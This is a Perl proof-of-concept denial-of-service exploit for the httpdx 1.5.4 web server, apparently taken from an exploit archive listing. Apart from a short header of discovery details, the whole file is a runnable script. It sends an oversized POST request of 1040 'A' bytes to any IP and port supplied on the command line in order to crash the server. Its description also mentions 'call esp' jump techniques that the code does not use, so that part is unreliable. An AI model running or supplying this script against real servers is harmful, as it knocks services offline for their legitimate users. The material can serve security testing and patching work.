Exploit for httpdx 1.5.4 Denial Of Service

## https://sploitus.com/exploit?id=PACKETSTORM:176399
#!/usr/bin/perl  
  
use IO::Socket::INET;  
  
# Exploit Title: httpdx 1.5.4 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 06 january 2024  
# Vendor Homepage: http://httpdx.sourceforge.net  
# Download to demo: https://sourceforge.net/projects/httpdx/files/httpdx/httpdx%201.5.4/  
# Download 2 to demo:https://drive.google.com/file/d/1Slsd7qCPom4uoSPXdiONS4xh-8tp4fkV/view?usp=sharing  
# Notification vendor: No reported  
# Tested Version: httpdx 1.5.4 - Denied of Service (DoS)  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)  
# Vídeo: https://drive.google.com/file/d/1hGn5AZbtVTzA_oiZPZ9yOVzIBVzKYGhQ/view?usp=sharing  
  
#1. Description  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit I have tried several strategies to increase reliability and performance:  
#Jump to a static 'call esp'  
#Backwards jump to code a known distance from the stack pointer.  
#The web server does not correctly handle the amount of data or bytes sent.  
#When authenticating to the web server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
print "[+] Exploiting... \n";  
  
my $sock = IO::Socket::INET->new("$ip:$port");  
  
my $exploit = "\x41"x1040;  
  
print $sock "POST /index2.html HTTP/1.0\r\n" .   
"Content-Length: 1023\r\n" .   
"Content-Type: html\r\n" .   
"Host: $ip" . "\r\n" .  
"\r\n" .  
$exploit;  
  
print "[+] Done - Exploited success!!!!!\n\n";  
  
sub intro {  
print q {  
  
---------- # ------------------------------------------------------------------  
--------- ##= -------------- [+] httpdx 1.5.4 - Denied of Service (DoS) -------  
-------- ##=== ----------------------------------------------------------------  
------ ###==#=== --------------------------------------------------------------  
---- ####===##==== ------------------------------------------------------------  
-- #####====###===== ----- Coded by Fernando Mengali -----  
- #####=====####===== ----- fernando.mengalli@gmail.com -----  
- #####=====####===== ---------------------------------------------------------  
--- ####= # #==== -------- Prepare to exploiting the server ------------  
--------- ##= -----------------------------------------------------------------  
------- ####=== ---------------------------------------------------------------  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}